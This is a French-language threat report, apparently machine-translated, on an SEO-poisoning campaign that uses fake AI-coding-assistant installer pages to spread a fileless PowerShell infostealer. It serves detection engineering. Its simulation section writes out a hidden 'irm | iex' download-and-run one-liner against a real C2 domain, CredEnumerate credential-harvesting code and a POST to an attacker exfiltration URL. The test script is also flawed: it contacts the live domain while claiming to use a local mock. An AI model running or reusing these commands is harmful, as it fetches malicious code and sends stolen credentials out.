Campagne de SEO Poisoning utilise des leurres de code Gemini et Claude pour diffuser un Infostealer

Résumé

Des acteurs eCrime motivés financièrement utilisent l’empoisonnement SEO pour pousser de faux domaines qui imitent des installateurs pour des assistants de codage IA. Les victimes qui copient et collent une seule commande PowerShell depuis ces pages déclenchent un voleur d’informations sans fichier qui s’exécute entièrement en mémoire. Le malware vole des identifiants, des cookies de session, des clés VPN et des fichiers sensibles avant d’exfiltrer les données sous forme cryptée vers un serveur de commande et de contrôle. La campagne vise les stations de travail de développeurs Windows et se fond dans l’activité normale en abusant des outils de développeur familiers.

Investigation

Les analystes d’EclecticIQ ont tracé l’infrastructure malveillante jusqu’à .co.com domaines servant des chaînes de téléchargement PowerShell via irm and iex. Le script de première étape lance une fenêtre PowerShell cachée en utilisant Shell.Application.ShellExecute, puis charge des types C# additionnels pour collecter des identifiants, des détails système et d’autres données précieuses. L’exfiltration a été observée sur HTTP et HTTPS vers events.msft23.com and events.ms709.com en utilisant des chemins URL spécifiques. Une analyse passive des DNS a lié l’opération à un fournisseur d’hébergement à l’épreuve des balles aux Pays-Bas et à un cluster plus large de domaines typosquattés.

Atténuation

Les défenseurs devraient détecter et bloquer le modèle d’exécution irm | iex les fenêtres PowerShell cachées, et l’utilisation suspecte Add-Type impliquant des appels P/Invoke. Les organisations devraient appliquer le Mode Langage Contrainte de PowerShell et utiliser AppLocker ou WDAC pour prévenir l’exécution de scripts à partir de contenu provenant d’Internet. Restreindre l’accès d’écriture au presse-papiers du navigateur et appliquer des jetons OAuth de courte durée pour les comptes de développeur peuvent également réduire l’exposition. Les développeurs doivent aussi être formés à éviter les commandes copier-coller provenant de sites non fiables.

Réponse

Les équipes de sécurité doivent alerter sur les processus PowerShell lancés avec -WindowStyle Hidden ou invoqué via Shell.Application.ShellExecute. Ces événements doivent être corrélés avec des requêtes HTTP sortantes vers des domaines correspondant à *-setup.com or events.*.com, surtout lorsque les chemins /take, /process, ou /validate apparaissent. Si ce comportement est détecté, isolez le point de terminaison affecté, collectez les journaux PowerShell et effectuez une collecte légale des données du navigateur et des magasins d’identifiants.

Exécution de la simulation

Prérequis : Le contrôle préalable de télémétrie et de référence doit avoir réussi.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à un diagnostic erroné.

• Récit de l’attaque et commandes:
  Un attaquant compromet un compte utilisateur à faible privilège et exécute un one-liner PowerShell via cmd.exe. Le one-liner utilise irm (Invoke-RestMethod) pour récupérer un script PowerShell malveillant depuis events.msft23.com, le redirige vers iex (Invoke-Expression) pour exécuter la charge utile entièrement en mémoire et cache la fenêtre PowerShell pour éviter l’espionnage visuel. La charge utile charge ensuite un type .NET avec Add-Type pour effectuer l’énumération d’identifiants en utilisant l’API CredEnumerate , exfiltre les données collectées via HTTPS. Toutes les étapes sont exécutées sans écrire de fichiers sur le disque, correspondant à la description « sans fichier ».

  # Étape 1 - Lancement de PowerShell caché
  powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

  Le payload.ps1 téléchargé (exécuté en mémoire) contient :

  # Étape 2 - Charger un type .NET pour l'énumération des identifiants
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport(""advapi32.dll"", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  # Étape 3 - Invocation de la collecte et de l'exfiltration des identifiants
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Collected $count credentials"
  Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

  Cette séquence génère les fragments de ligne de commande que la règle Sigma associe :

  • powershell.exe -WindowStyle Hidden
  • irm events.msft23.com | iex
  • Add-Type
  • advapi32.dll!CredEnumerate

• Script de test de régression : Le script suivant reproduit le comportement exact sur une station de test. Exécutez-le depuis une invite PowerShell avec élévation.

  # Simulation sans fichier PowerShell Infostealer - TC-20260525-A7Z3K
  # ------------------------------------------------------------
  # Étape 1 - Exécuter un PowerShell caché qui télécharge et exécute la charge utile
  $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
  Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
  
  # Contenu fictif de payload.ps1 (hébergé localement pour des tests sûrs)
  $payload = @'
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport("advapi32.dll", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Collected $count credentials"
  # Simuler l'exfiltration vers un point de terminaison inoffensif
  Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
  '@
  
  # Écrire le fichier fictif de la charge utile à un endroit temporaire pour le test (simulant l'hébergement distant)
  $tempPath = "$env:TEMPpayload.ps1"
  Set-Content -Path $tempPath -Value $payload -Encoding UTF8
  
  # Servir la charge utile via un écouteur HTTP local simple (à des fins de démonstration)
  $listener = [System.Net.HttpListener]::new()
  $listener.Prefixes.Add("http://+:8080/")
  $listener.Start()
  Write-Host "Serving mock payload on http://localhost:8080/payload.ps1"
  while ($listener.IsListening) {
      $context = $listener.GetContext()
      if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
          $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
          $context.Response.ContentLength64 = $bytes.Length
          $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
          $context.Response.Close()
      }
  }
  # Remarque : Arrêtez l'écouteur manuellement après la validation.

• Commandes de nettoyage : Supprimez les fichiers temporaires et arrêtez l’écouteur HTTP.

  # Nettoyage après simulation
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  # Arrêtez l'écouteur HTTP local (s'il fonctionne toujours)
  Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force